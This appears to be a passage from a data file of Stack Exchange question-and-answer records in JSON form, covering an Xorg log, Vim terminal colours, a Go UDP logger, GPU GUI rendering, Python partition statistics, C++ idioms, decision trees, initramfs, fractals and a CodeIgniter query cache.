Loading /usr/lib/xorg/modules/input/synaptics_drv.so[ 1744.345] (II) Module synaptics: vendor=X.Org Foundation[ 1744.345] compiled for 1.18.3, module version = 1.8.99[ 1744.345] Module class: X.Org XInput Driver[ 1744.345] ABI class: X.Org XInput driver, version 22.1[ 1744.345] (II) Using input driver 'synaptics' for 'SynPS/2 Synaptics TouchPad'[ 1744.345] (**) SynPS/2 Synaptics TouchPad: always reports core events[ 1744.345] (**) Option Device /dev/input/event10[ 1744.383] (II) synaptics: SynPS/2 Synaptics TouchPad: ignoring touch events for semi-multitouch device[ 1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: x-axis range 1472 - 5706 (res 44)[ 1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: y-axis range 1408 - 4800 (res 65)[ 1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: pressure range 0 - 255[ 1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: finger width range 0 - 15[ 1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: buttons: left right double triple[ 1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: Vendor 0x2 Product 0x7[ 1744.383] (--) synaptics: SynPS/2 Synaptics TouchPad: touchpad found[ 1744.383] (**) SynPS/2 Synaptics TouchPad: always reports core events[ 1744.423] (**) Option config_info udev:/sys/devices/platform/i8042/serio1/input/input7/event10[ 1744.423] (II) XINPUT: Adding extended input device SynPS/2 Synaptics TouchPad (type: TOUCHPAD, id 13)[ 1744.423] (**) synaptics: SynPS/2 Synaptics TouchPad: (accel) MinSpeed is now constant deceleration 2.5[ 1744.423] (**) synaptics: SynPS/2 Synaptics TouchPad: (accel) MaxSpeed is now 1.75[ 1744.423] (**) synaptics: SynPS/2 Synaptics TouchPad: (accel) AccelFactor is now 0.037[ 1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) keeping acceleration scheme 1[ 1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) acceleration profile 1[ 1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) acceleration factor: 2.000[ 1744.423] (**) SynPS/2 Synaptics TouchPad: (accel) acceleration threshold: 4[ 1744.423] (--) synaptics: SynPS/2 Synaptics TouchPad: touchpad found[ 1744.424] (II) config/udev: Adding input device SynPS/2 Synaptics TouchPad (/dev/input/mouse1)[ 1744.424] (**) SynPS/2 Synaptics TouchPad: Ignoring device from InputClass touchpad ignore duplicates[ 1744.425] (II) config/udev: Adding input device PC Speaker (/dev/input/event5)[ 1744.425] (II) No input driver specified, ignoring this device.[ 1744.425] (II) This device may have been added with another device file.[ 1744.426] (II) config/udev: Adding input device MSI WMI hotkeys (/dev/input/event6)[ 1744.426] (**) MSI WMI hotkeys: Applying InputClass evdev keyboard catchall[ 1744.426] (**) MSI WMI hotkeys: Applying InputClass libinput keyboard catchall[ 1744.426] (II) Using input driver 'libinput' for 'MSI WMI hotkeys'[ 1744.426] (**) MSI WMI hotkeys: always reports core events[ 1744.426] (**) Option Device /dev/input/event6[ 1744.426] (**) Option _source server/udev[ 1744.426] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is tagged by udev as: Keyboard[ 1744.426] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is a keyboard[ 1744.443] (**) Option config_info udev:/sys/devices/virtual/input/input8/event6[ 1744.443] (II) XINPUT: Adding extended input device MSI WMI hotkeys (type: KEYBOARD, id 14)[ 1744.444] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is tagged by udev as: Keyboard[ 1744.444] (II) input device 'MSI WMI hotkeys', /dev/input/event6 is a keyboard[ 1744.708] (II) UnloadModule: libinput[ 1744.708] (II) UnloadModule: synaptics[ 1744.708] (II) UnloadModule: libinput[ 1744.708] (II) UnloadModule: libinput[ 1744.708] (II) UnloadModule: libinput[ 1744.708] (II) UnloadModule: libinput[ 1744.708] (II) UnloadModule: libinput[ 1744.708] (II) UnloadModule: libinput[ 1744.709] (II) UnloadModule: libinput[ 1744.736] (II) NVIDIA(GPU-0): Deleting GPU-0[ 1744.807] (II) Server terminated successfully (0). Closing log file./etc/X11/xorg.conf:# nvidia-xconfig: X configuration file generated by nvidia-xconfig# nvidia-xconfig: version 375.10 (buildmeister@swio-display-x86-rhel47-09) Fri Oct 14 11:11:07 PDT 2016Section ServerLayout Identifier Layout0 Screen 0 Screen0 InputDevice Keyboard0 CoreKeyboard InputDevice Mouse0 CorePointerEndSection#Section Files#EndSectionSection InputDevice # generated from default Identifier Mouse0 Driver mouse Option Protocol auto Option Device /dev/psaux Option Emulate3Buttons no Option ZAxisMapping 4 5EndSectionSection InputDevice# generated from default Identifier Keyboard0 Driver kbdEndSectionSection Monitor Identifier Monitor1# VendorName Unknown# ModelName Unknown# HorizSync 28.0 - 33.0# VertRefresh 43.0 - 72.0# Option DPMSEndSectionSection Device Identifier DiscreteNvidia Driver nvidia VendorName NVIDIA Corporation BoardName GeForce GTX 960M BusID PCI:1:0:0EndSectionSection Screen Identifier Screen0 Device Device0 Monitor Monitor0 DefaultDepth 24 SubSection Display Depth 24 EndSubSectionEndSection" , "title": "xorg not working" , "tags": "arch linux;xorg" } { "id": "_vi.11911" , "question": "I have set Vim's default colorscheme to Monokai, and when I exit Vim the Monokai colors are still on the screen until I clear it.How can Vim be set to run clear automatically on exit, or change the color scheme or at least the background color to what it was before it started?" , "title": "How can Vim be configured to restore normal terminal color on exit?" , "tags": "colorscheme;terminal" , "accepted_answer": "How to Clear the Screen When Exiting VimWhen Vim quits, it sends the escape sequence defined by the t_te setting to the terminal in order to tell it what to do. This should be set automatically by Vim to do something sensible, but it looks like something's going wrong in your setup: the likely candidate seems to be that your terminal is configured incorrectly, but let's investigate:To clear the screen, we need to send the clear escape sequence to our terminal. We can find out what sequence is required by querying our terminfo database with the infocmp command. By running infocmp in my terminal (which happens, like yours, to be xterm-256color), I see the following entry:clear=\\E[H\\E[2JIn this output, the left hand side of the equation refers to a terminal capability, and the right-hand side to the escape sequence used to access it. In the displayed sequence, the \\E refers to an Escape character.So, the escape sequence used by xterm to clear the screen is <Esc>[H<Esc>[2J. If we want Vim to clear the screen on exit, we need to configure its t_te setting to send this sequence.We do so with the following Vim command::set t_te=^[[H^[2JN.B. In the above, the two instances of ^[ are Vim's representation of the escape character that was displayed as \\E above. You type them by pressing Ctrl+VEsc: not by typing a ^ followed by a [ character.After quitting Vim, the screen should now be cleared.What Might Be Going Wrong For YouThis may or may not actually work for you, however. As already mentioned, Vim should set up t_te sensibly already. There are several places where the problem could be occurring:Your t_te might be set incorrectly by your .vimrc or by a plugin. Setting t_te as above should fix this,You have indicated your $TERM is set to xterm-256color. If you are actually using a different terminal, the escape sequence described above may be wrong. The way to fix this is by setting $TERM to match your actual terminal.It's possible (although less likely) that your terminfo database contains the incorrect info for xterm-256color. You can test if this is the case by running the command tput clear in your terminal. This queries the terminfo database for the clear capability, which is output to the terminal, and should result in the terminal clearing the screen. If this does not do so, then your terminfo database is incorrect, and will need fixing. This is not really a Vim issue, so you may find more help elsewhere.Extra CreditI wrote earlier that Vim should set t_te to something sensible. But for me, this is not clearing the screen. So what does it actually set t_te to?The command :set t_te?, for me, outputs: t_te=^[[?1049l. By looking in the infocmp output, I can see that this corresponds to a capability of rmcup.It turns out that this, in conjunction with the related t_ti setting (which is set to the smcup capability) sets up Vim to use xterm's alternate screen buffer for rendering — when Vim quits, the terminal state is reset to display whatever was displaying before I ran Vim.Again, you can try out this switching of screen buffers outside of Vim by running a sequence of commands in your terminal:ls # just to get something onscreentput smcup # The ls output disappearstput rmcup # The ls output reappears" } { "id": "_codereview.87117" , "question": "I have written the following utility, as my first non-tutorial program in Go.The purpose of the utility isto connect to a torque/force sensor (aka load-cell) via UDP;to send an initialization command; andto record the resulting stream of measurements.Since I am planning further functionality (setting duty cycle of a brushless motor controller via serial), which will be logged to the same file, I have separated the file writing from the UDP packet logging via a channel.Since this is a utility that serves a single purpose, error handling is minimal.I am hoping for feedback regarding the general style and idiomaticy of the code and the folder structure (separating loadcell-related files into a separate sub-package, in the loadcell sub-directory).Specifically, I would appreciate your thoughts on:A possible bug in go version go1.4.2 darwin/amd64, in loadcell.go (see comment before the final for loop)The FromNetworkBytes function in loadCellPacket.go. I really wanted to make a class method, e.g. packet := loadCellPacket.FromNetworkBytes(b), but as far as I found, the Go options are either: packet := loadCellPacketFromNetworkBytes(b) (a simple function), or var packet loadCellBytes; packet.FromNetworkBytes(b). I opted for the later, since I can reuse the packet variable, but I would appreciate feedback.The code is hosted here, and for longevity of this question, I repeat the files below. I have left out import statements for brevity../main.gopackage mainimport ( ... github.com/mikehamer/ati-torque-force-logger/loadcell)func main() { // Parse flags loadCellAddress := flag.String(address, 192.168.1.200:49152, The address of the loadcell) logFileName := flag.String(logfile, fmt.Sprintf(%s_loadcell.log, time.Now().Format(2006-01-02_15-04-05)), The name of the logfile) flag.Parse() //open CSV log logfile, err := os.Create(*logFileName) if err != nil { log.Fatal(err) } defer logfile.Close() // Setup communication channels receivedMeasurements := make(chan loadcell.Measurement) //connect and stream from loadcell go loadcell.ReceiveLoadCellStream(*loadCellAddress, receivedMeasurements) //loop and write logs fmt.Println(Saving output to, logfile.Name()) logfile.WriteString(t, Fx, Fy, Fz, Tx, Ty, Tz\\n) for { select { case measurement := <-receivedMeasurements: logfile.WriteString(measurement.String()) } }}./loadcell/loadcell.gopackage loadcell// NETWORK CONSTANTSvar loadCellStartStreamCommand = loadCellCommand{0x1234, 0x0002, 0} // the command to send to enable realtime stream// ReceiveLoadCellStream opens a network stream to the loadcell, sends a configuration packet and then relays received measurements back through the supplied channelfunc ReceiveLoadCellStream(loadCellAddress string, receivedPackets chan<- Measurement) error { // calculate loadcell address remoteAddr, err := net.ResolveUDPAddr(udp, loadCellAddress) if err != nil { log.Fatal(err) } //open connection to loadcell conn, err := net.DialUDP(udp, nil, remoteAddr) if err != nil { log.Fatal(err) } fmt.Println(UDP Server: Local, conn.LocalAddr(), -> Remote, conn.RemoteAddr()) defer conn.Close() // send the command instructing the loadcell to begin a realtime data stream conn.Write(loadCellStartStreamCommand.NetworkBytes()) // begin receiving packets from the network connection and sending them on the outgoing channel startTime := time.Now() buf := make([]byte, 36) //BUG? This causes ReadFromUDP to block = GOOD //var buf []byte // While this causes ReadFromUDP to continuously return 0,nil,nil for { var packet loadCellPacket n, remoteAddr, err := conn.ReadFromUDP(buf) switch { //packet of the correct size is received case uintptr(n) == unsafe.Sizeof(packet): if err := packet.FromNetworkBytes(buf); err != nil { log.Fatal(err) } //decode it from network stream receivedPackets <- packet.ParseMeasurement() //packet is received but with incorrect size case n != 0: log.Print(From, remoteAddr, got unexpected bytes, buf[:n]) //an error occurs case err != nil: log.Fatal(err) } }}./loadcell/loadCellPacket.gopackage loadcell// loadCellPacket is the packet as received over the networktype loadCellPacket struct { RdtSequence uint32 // RDT sequence number of this packet. FtSequence uint32 // The records internal sequence number Status uint32 // System status code // Force and torque readings use counts values Fx int32 // X-axis force Fy int32 // Y-axis force Fz int32 // Z-axis force Tx int32 // X-axis torque Ty int32 // Y-axis torque Tz int32 // Z-axis torque}// FromNetworkBytes parses a loadCellPacket from a network (BigEndian) bytestreamfunc (s *loadCellPacket) FromNetworkBytes(b []byte) error { var packet loadCellPacket buf := bytes.NewReader(b) if err := binary.Read(buf, binary.BigEndian, &packet); err != nil { return err } *s = packet return nil}// ParseMeasurement creates a Measurement from the loadCellPacketfunc (s *loadCellPacket) ParseMeasurement(rxTime float64) Measurement { return Measurement{ rxTime, float32(s.Fx) / 1e6, float32(s.Fy) / 1e6, float32(s.Fz) / 1e6, float32(s.Tx) / 1e6, float32(s.Ty) / 1e6, float32(s.Tz) / 1e6}}./loadcell/LoadCellMeasurement.gopackage loadcell// Measurement is a loadCellPacket that has been converted into a useable formtype Measurement struct { RxTime float64 // the receive time, since the beginning of the program Fx float32 // x-force in Newtons Fy float32 // y-force in Newtons Fz float32 // z-force in Newtons Tx float32 // x-torque in Newton-meters Ty float32 // y-torque in Newton-meters Tz float32 // z-torque in Newton-meters}// Bytes returns the Measurement as a LittleEndian-encoded byte slice, ready for serializationfunc (s *Measurement) Bytes() []byte { buf := new(bytes.Buffer) if err := binary.Write(buf, binary.LittleEndian, s); err != nil { log.Fatal(err) } return buf.Bytes()}// String returns the Measurement as a comma-separated string, ready for loggingfunc (s *Measurement) String() string { return fmt.Sprintf(%.6f, %v, %v, %v, %v, %v, %v\\n, s.RxTime, s.Fx, s.Fy, s.Fz, s.Tx, s.Ty, s.Tz)}./loadcell/loadCellCommand.gopackage loadcell// loadCellCommand is a command packet sent to the loadcelltype loadCellCommand struct { header uint16 // = 0x1234 Required command uint16 // Command to execute sampleCount uint32 // Samples to output (0 = infinite)}// NetworkBytes returns the loadCellCommand as a BigEndian-encoded byte slice ready for network transmissionfunc (s *loadCellCommand) NetworkBytes() []byte { buf := new(bytes.Buffer) if err := binary.Write(buf, binary.BigEndian, s); err != nil { log.Fatal(err) } return buf.Bytes()}" , "title": "Utility that decodes and logs UDP packets" , "tags": "csv;logging;go;server;udp" } { "id": "_softwareengineering.296825" , "question": "I am doing some research as to how most hardware accelerated GUI libraries work. I am actually only care about the rendering backends of them here. I am trying to figure out what would be the best way to try and write my own as a sort of side project. I am trying to go for ultimate performance here instead of overly fancy features. I want to b able to draw primitives, text and animation.Some good libraries that I know of are Qt, Skia and Cairo (though I'm not sure what the sate of HWA is on it). I have also looked at NanoVG which is a small library that seems to have a decent following. I did not manage to achieve decent performance with NanoVG though...The one thing that struck me was that all these libraries seem to make use of the concept of painting where it seems that each primitive shape gets drawn from scratch over and over again. What I mean by that is that from the APIs, it does not appear as if though the shapes are created as objects on the GPU or whatever the terminology is and then left there to be rendered automatically. In other words, they are not left on the GPU's memory for being redrawn in some large loop. To elaborate, it seems that for each i.e. rectangle that needs to be drawn, a whole OpenGL state is set up just to render that rectangle and is then destroyed again. It does appear though as if these rendered shapes are then at least rendered at their final destinations, allowing the GPU to then compose the entire scene.The way I expected these libraries to work is by actually storing the entire scene on the GPU (excuse the horrible terminology). For instance, primitives would be triangulated and left in memory where after some intricate process would be used to have a main rendering loop for the scene. Furthermore there would then be mechanisms in place to update attributes or delete or add primitives. This is quite a vague description but I think that you get the idea.What I would like to ask now, is if there is any performance benefit to the painting approach as compared to the saved approach (again, no idea if there are proper names for these things...). Some intricate caching mechanisms of sorts perhaps? Or is this just much simpler to work with?I realize that the saved approach might use more memory on the GPU but are all the OpenGL calls needed for the painting approach not vastly expensive? I guess one might be able to compensate for this by caching the rendered shapes but does the GPU really provide one with so large a benefit when doing such a once-off (or not very regular) rasterization as compared to CPU, especially given the communication overhead? Also, does this communication overhead not pose serious problems for animations when drawing has to be done for every frame?I am quite certain that NanoVG does not have an internal caching mechanism and I would assume that this could be responsible for its rather lackluster performance. Qt on the other hand seems to have excellent performance so it must be doing something right. Google also seems to be able to put Skia to good use.PS. I am not a professional of any sorts and have only recently started to learn OpenGL.EDIT:Another possibility that I have thought of is that maybe the painting approach was deemed necessary purely because of the memory benefits? The reason I would think that is because all these libraries were of course started in a different era and also target embedded platforms meaning that GPU memory might be so scarce on the target(ed) platforms and that using as little as possible of it might be more important than performance. Again though, in a situation like this, I am not convinced that frame-by-frame GPU rasterization given the communication overhead will outperform a CPU, especially considering the probably low pixel count on platforms with such little memory.Furthermore I have read on http://blog.qt.io/blog/2010/01/06/qt-graphics-and-performance-opengl/ that Qt apparently blends together shader code from precoded segments at runtime before painting and then hopes for the OGL compiler to inline the code properly at runtime. This sound like even more OGL initialization overhead to me... " , "title": "Is hardware accelerated GUI data kept on the GPU" , "tags": "gui;qt;opengl;gpu" , "accepted_answer": "Saving the whole window as a single object into GPU (it would be bunch of rectangles saved as VBO) and then rendering it in a single OpenGL draw call would be fast, but it has several disadvantages:The whole geometry would have to be rendered using single shader. Having separate shaders (for opaque copy, transparent copy, gradient, ...) is more useful.The whole geometry could use only from limited amount of textures. Even if you use atlases, you need lot of textures for GUI. (Pieces of the GUI theme, icons, fonts, ...)You have to rebuild and reload the whole object into GPU after every change.Every widget must be able to produce their piece of geometry which is harder to abstract than 2D painting.On some GPUs you can render 2D stuff (filling area with color, copying from picture to picture, ...) with 2D commands which is faster than using 3D pipeline.If you break it into several objects, then you eventually end up with single or few rectangles per object. It's easier and faster to render them without any stored objects.What GUI frameworks do is tracking which exact parts of the window changed and repainting only them. The old image is cached in the GPU. This approach can be used with various drawing backends, not only OpenGL/DirectX accelerated rendering.If you want to check example of a GUI library that does generate geometries which you can feed into OpengGL (or into different 3D api), look at librocket. It can actually bake static geometries together and render them in single draw call, but any element that will be changing often or need to render with its own shader has to stay separate." } { "id": "_codereview.45686" , "question": "Below is a full working code example of code which is used to compute stats on two class vectors (partitions). There are two functions:pairwise_indication and to_clust_set. The first one is the function in question and the second is just for completeness, since it's apparently not so time consuming. pairwise_indication returns the indicators n11, n00, n10, n01 which are used to compute scores such as the RAND Index (they're named a, b, c, d on that site). The bottleneck probably are the loops (depth is 3) and the logic and look-up stuff inside of pairwise_indication. I already tried to improve the logical function in it by pulling forward the common cases. I was hoping it can be improved some further. What makes it interminable (if I get the profiling at the bottom of the post correct) are the loops and maybe the set look-ups using in, though I cannot imagine something faster.import itertools as itimport numpy as npdef pairwise_indication(part1, part2): r Computes the pairwise indicators. Parameters ---------- part1, part2 : array, (n) The two partition vectors Returns ------- n11, n00, n10, n01 : tuple (int) Tuple with the counts of incidences Examples -------- >>> from cluvap.calc import pairwise_indication >>> import numpy as np >>> p1 = np.array([1, 2, 3, 3, 1, 2]) >>> p2 = np.array([3, 2, 3, 3, 1, 2]) >>> pairwise_indication(p1, p2) (2, 10, 1, 2) n = len(part1) if n != len(part2): raise ValueError('Partition shapes do not match') # Create clustering as set A = to_clust_set(part1) B = to_clust_set(part2) observations = np.arange(n) n11, n00, n10, n01 = 0, 0, 0, 0 # Count incidences # function: P'QR'S v P'QRS v PQRS v PQR'S (' == not, v == or) # condensed: P('QR('S v S) v QR('S v S)) # P: obs1 in a # Q: obs2 in a # R: obs1 in b # S: obs2 in b for obs1, obs2 in it.combinations(observations, 2): for a in A: for b in B: if obs1 in a: if obs2 not in a: if obs1 in b: if obs2 not in b: n00 += 1 else: n01 += 1 else: if obs1 in b: if obs2 in b: n11 += 1 else: n10 += 1 return n11, n00, n10, n01def to_clust_set(part): Converts a partition to a set of clusters. Noise is considered a cluster. Parameters ---------- part : arrays, (n) Partitions. A partition ``p`` assigns the ``n``-th observation to the cluster ``p[n]``. Returns ------- cset : list of sets Examples -------- >>> from cluvap.calc import to_clust_set >>> import numpy as np >>> p = np.array([1, 2, 3, 3, 1, 2]) >>> to_clust_set(p) [set([0, 4]), set([1, 5]), set([2, 3])] clusters = set(part) obs = np.arange(len(part)) return [set(obs[part == C]) for C in clusters]if __name__ == __main__: from time import time p1 = np.array([1, 2, 3, 4, 5] * 20) p2 = np.array([2, 3, 4, 5, 1] * 20) t0 = time() pi = pairwise_indication(p1, p2) t = (time() - t0) * 1000 print 'pairwise_indication(p1, p2) in {:.2f} ms:\\n'.format(t), piOutputpairwise_indication(p1, p2) in 19.00 ms:(950, 4000, 0, 0)line profiling>>> p1 = np.array([1, 2, 3, 4, 5] * 20)>>> p2 = np.array([2, 3, 4, 5, 1] * 20)>>> %lprun -f pairwise_indication pairwise_indication(p1, p2)Timer unit: 4.10918e-07 sFile: cluvap\\calc.pyFunction: pairwise_indication at line 713Total time: 0.603277 sLine # Hits Time Per Hit % Time Line Contents============================================================== 713 def pairwise_indication(part1, part2):... 736 1 28 28.0 0.0 n = len(part1) 737 1 17 17.0 0.0 if n != len(part2): 738 raise ValueError('Partition shapes do not match') 739 # Create clustering as set 740 1 1455 1455.0 0.1 A = to_clust_set(part1) 741 1 1154 1154.0 0.1 B = to_clust_set(part2) 742 1 33 33.0 0.0 observations = np.arange(n) 743 1 14 14.0 0.0 n11, n00, n10, n01 = 0, 0, 0, 0 744 # Count incidences 745 # (can this be improved using some kind of indexing / logical compression?) 746 4951 19884 4.0 1.4 for obs1, obs2 in it.combinations(observations, 2): 747 29700 115151 3.9 7.8 for a in A: 748 148500 576491 3.9 39.3 for b in B: 749 123750 505606 4.1 34.4 if obs1 in a: 750 24750 100784 4.1 6.9 if obs2 not in a: 751 20000 84631 4.2 5.8 if obs1 in b: 752 4000 16489 4.1 1.1 if obs2 not in b: 753 4000 17915 4.5 1.2 n00 += 1 754 else: 755 n01 += 1 756 else: 757 4750 20272 4.3 1.4 if obs1 in b: 758 950 4005 4.2 0.3 if obs2 in b: 759 950 4185 4.4 0.3 n11 += 1 760 else: 761 n10 += 1 762 763 1 5 5.0 0.0 return n11, n00, n10, n01" , "title": "Compute stats on two class vectors" , "tags": "python;algorithm;performance;combinatorics" , "accepted_answer": "If I understood what you want to do, this would be a more direct way to compute the same result. At least for the test cases provided, the result is indeed the same.def pairwise_indication(part1, part2): if len(part1) != len(part2): raise ValueError('Partition shapes do not match') n11, n00, n10, n01 = 0, 0, 0, 0 for (a1,a2), (b1,b2) in it.combinations(zip(part1, part2), 2): if a1 == b1: if a2 == b2: n11 += 1 else: n10 += 1 else: if a2 == b2: n01 += 1 else: n00 += 1 return n11, n00, n10, n01On my computer this is 13 times faster than yours.Here's a completely different approach based on the idea that you can partition the partitions with one another (using zip in Python) to obtain a finer partition. (There must be a word for that?) From the size of each subset you can directly calculate the number of pairs that can be formed. Add up the numbers for each partition and subtract the overlap. This is 70 times faster than yours with the given example, and more importantly, operates in linear time, so it scales well to larger data.from collections import Counterdef pairs(n): '''Calculate number of pairs that can be formed from n items''' return n * (n - 1) // 2def partition_pairs(partition): '''Calculate number of pairs in subsets of partition''' return sum(pairs(x) for x in Counter(partition).values())def pairwise_indication(part1, part2): n = len(part1) if n != len(part2): raise ValueError('Partition shapes do not match') n11 = partition_pairs(zip(part1, part2)) n10 = partition_pairs(part1) - n11 n01 = partition_pairs(part2) - n11 n00 = pairs(n) - n11 - n10 - n01 return n11, n00, n10, n01" } { "id": "_softwareengineering.117766" , "question": "I am a computer science student, and as a result, I was taught C++ as a better version of C with classes. I end up trying to reinvent the wheel whenever a solution to a complex problem is needed, only to find sometime after that, some language feature or some standard library routine could potentially have done that for me. I'm all comfortable with my char* and *(int*)(someVoidPointer) idioms, but recently, after making a (minor) contribution to an open-source project, I feel that is not how one's supposed to think when writing C++ code. It's much different than C is.Considering that I know objected-oriented programming fairly well, and I am okay with a steep learning curve, what would you suggest for me to get my mind on the C++ track when I'm coding C++?" , "title": "How can I learn to write idiomatic C++?" , "tags": "c++" , "accepted_answer": "Based on your comments you know the C++ syntax.You are not coding in C++ but what is often refereed to as C with classes.The C++ tag on stackoverflow is a good place to start, it includes a reading list and FAQ.The only real way to learn is to write code and get experienced user to comment. You can put your code here for review. A good exampleI'm all comfortable with my char* s Stop using them, switch to std::string.and (int)(someVoidPointer) idioms.Stop using them (apart from to interface with C code). Using the functor concept provides several advantages (included the idea of encapsulating state).But recently, after making a (minor) contribution to an OSS project, I feel that is not how you think in C++. It's much different, though C has its own place.Yes. C and C++ have diverged as languages. Though you can use practically the same syntax what is considered good C code is generally not considered good C++ code (or vice verse).Some friends have suggested Accelerated C++, but again I know what types are, and what classes are and what overloading is.You have the very basics down.How can a (mutilated) C++ programmer, who happens to be sound with the OO concepts write idiomatic programs in the language.With a lot of work :-)" } { "id": "_datascience.12707" , "question": "Consider I have one dependent variable to predict 'Attitude' which can take three values 'Positive/Negative/Neutral'.I have following independent variables or features- Age, Height, Gender, Income etc. I trying to predict Attitude using decision tree classifier.Attitude ~ Age + Height + Gender + Income (Decision Tree) I am getting >90% accuracy for the when tree depth is 15. As tree is dividing on continuous variables (i.e. Age, Income and Height) again and again to get leaf with pure classes. Is this problem of overfitting? Should I convert the continuous variables into categorical variables (like range classes)? " , "title": "Should we convert independent continous variables (features) to categorical variable before using decision tree like classifier?" , "tags": "machine learning;classification;random forest;decision trees;preprocessing" , "accepted_answer": "There is no need to split continuous variables because the tree already does that automatically. The only way you can test for overfitting is by either using a holdout set or by doing cross validation. If you are overfitting, changing a continuous variable to a categorical variable likely won't make a difference. If you get the sense that you're overfitting, you should reduce the depth of your tree. " } { "id": "_webmaster.16291" , "question": "I run a product recommendation engine and I'm hitting a few snags. I'm looking to see if anyone has any recommendations on what I should do to minimize these issues.Here's how the site works:Users come to the site and are presented with product recommendations based on some criteria. If a user knows of a product that is not in our system, they can add it by providing the product name and manufacturer. We take that information, and:Hit one API to gather all the product meta-data (and to validate the product spelling, etc). If the product is not in this first API, we do not allow it in our system. Use the information from step 1 to hit another API for pricing information (gathered from many places online).For the sake of discussion, assume that I am searching both APIs in the most efficient/successful manner possible.For the most part, this works very well. I'd say ~80% of our data is perfectly accurate, but there are a few issues:Sometimes the pricing API (Step 2) doesn't have any information for the product. The way the pricing API is built, it will always return something (theoretically, the closest possible match), and there's no guarantee that the product name is spelled exactly the same way in both APIs, so there's no automated way of knowing if it's the right product.When the pricing API finds the right product, occasionally it has outdated, or even invalid pricing data (e.g. if it screen-scraped the wrong price from a website).Since the site was fairly small at first, I was able to manually verify every product that was added to the website. However, the site has grown to the point where this is taking several hours per day, and is just not efficient use of my time.So, my question is:Aside from hiring someone (or getting an intern) to validate all the data manually, what would be the best system of letting my userbase self-manage the data. Specifically, how can I allow users to edit the data while minimizing the risk of someone ambushing my website, or accidentally setting the data incorrectly." , "title": "Best way to implement user-powered data validation" , "tags": "api;data;user input;user generated content" , "accepted_answer": "Make it a game where people get points for fixing the data (checking that the pricing APIs product is the same, isn't invalid etc.)People with low points don't get awarded them until a number of other users have fixed the data in the same way. As people get more points it needs fewer other people to crosscheck them, until people with very high points don't need checking at all. So it's a bit like reputation on this and the other stackexchange sites.You could reward those with points with tangible things, like discounts on products, early notifications of good deals and so on. You don't want to make those too large, or it's worth them gaming the system and making lots of money." } { "id": "_unix.92720" , "question": "The way I understand it, initramfs is responsible for loading the real root filesystem. Now, there are two places where we define that root. First we put an entry in /etc/fstab. Second, we put the device on the kernel boot commands e.g. root=/dev/sda1. Which one does initramfs use to determine where is the root filesystem? If it uses the root kernel parameter, why do we have an entry in /etc/fstab? The second option, (it reads /etc/fstab), is quite illogical because the /etc/fstab file is on the very root device that initramfs is trying to mount in the first place. Very confusing stuff." , "title": "Does initramfs use /etc/fstab?" , "tags": "boot;fstab;initramfs" , "accepted_answer": "As you stated, the purpose of initramfs is to get the real root filesystem mounted (it can do other things too, but this is the common task).Without an initramfs, the kernel will normally mount a partition up as read-only and then pass control over to /sbin/init. An initramfs just takes over this task from the kernel, usually when the root filesystem isn't a normal partition (mdraid, lvm, encrypted, etc).Now, aside from the background on initramfs, your /etc/fstab resides on your root filesystem. As such, when initramfs is launched, that root filesystem isn't there, and so it can't get to the fstab (chicken and egg problem).Instead we have to pass a parameter into the kernel boot arguments for the initramfs to use. Normally this is something like root=/dev/sdX. However it might also do something to automatically figure out where your root device is, and so there's no parameter at all. Since it's just software (generally a script), it can really do anything it wants for mounting the root device.Now, as stated earlier, the kernel will mount the real root as read-only. The initramfs should do exactly this. Once the initramfs is done, the system proceeds booting exactly as if there were no initramfs at all, and /sbin/init starts up. This init then starts all your normal boot scripts, and it's the job of one of these scripts to read /etc/fstab, switch root to read-write, and mount all your other filesystems." } { "id": "_scicomp.16396" , "question": "I have seen videos like this before in the past of things like 3D Mandlebulbs and similar fractal sets, but can anyone tell me what sorts of programs are actually used create these visualizations? How computationally expensive are these visualizations to make? Also, what sort of simulations are these? I mean, what sort of coordinate system, or mesh, are these sorts of structures realized on? I have most of my experience with computational simulations in FORTRAN, Python, and Matlab, and I just don't see how you would even begin to undertake creating the data to produce these sorts of visualizations in those languages. Thanks." , "title": "How-to: Epic visualizations of 3D fractals?" , "tags": "visualization" } { "id": "_codereview.171705" , "question": "CodeIgniter has a query caching class that is initiated in the query function of the DB_driver class. Originally it was designed to store queries associated with a specific controller by using URI segments (segment 1 + segment 2). I found this a rather strange implementation if one is running both the frontend and backend on the same installation of CI. This meant backend files would be stored in the cache folder like admin+projects whereas frontend cache files would be stored like projects.There is a seemingly little know variable (cache_autodel) that exists in the driver source code that allows any non-returning query (INSERT, UPDATE, DELETE .etc.) to trigger a deletion event of the cache files associated with the particular controller e.g. admin+projects but it doesnt delete those in the projects cache folder even though the database has changed rendering the cache results obsolete. Thus you are left with having to either manually delete the cache files, or implement a routine in every INSERT, UPDATE .etc. to take care of deleting these files. Since the files can only be found by controller and not another identifier it is literally a mess to take care of.What I did was the following:Kept the cache files naming the same as CIs implementation that involved md5ing the SQL statement, but organized the files in subfolders not by controller, but by table name.Implemented triggers after INSERT, UPDATE, DELETE for all my tables that would add a master last_modified = NOW() to a database table with fields: table_id, table_name and last_modifiedFor read caches: compared the master last_modified for a table against the creation/modified time of a cache file to determine if it needs to be deleted or not. If not, returned the cache file.Code:class CI_DB_Cache{ /** * CI Singleton * * @var object */ public $CI; /** * Database object * * Allows passing of DB object so that multiple database connections * and returned DB objects can be supported. * * @var object */ public $db; /** * Constructor * * @param object &$db * @return void */ public function __construct(&$db) { // Assign the main CI object to $this->CI and load the file helper since we use it a lot $this->CI = & get_instance(); $this->db = & $db; $this->CI->load->helper('file'); $this->check_path(); } /** * Set Cache Directory Path * * @param string $path Path to the cache directory * @return bool */ public function check_path($path = '') { if ($path === '') { if ($this->db->cachedir === '') { return $this->db->cache_off(); } $path = $this->db->cachedir; } // Add a trailing slash to the path if needed $path = realpath($path) ? rtrim(realpath($path), DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR : rtrim($path, '/') . '/'; if (!is_dir($path)) { log_message('debug', 'DB cache path error: ' . $path); // If the path is wrong we'll turn off caching return $this->db->cache_off(); } if (!is_really_writable($path)) { log_message('debug', 'DB cache dir not writable: ' . 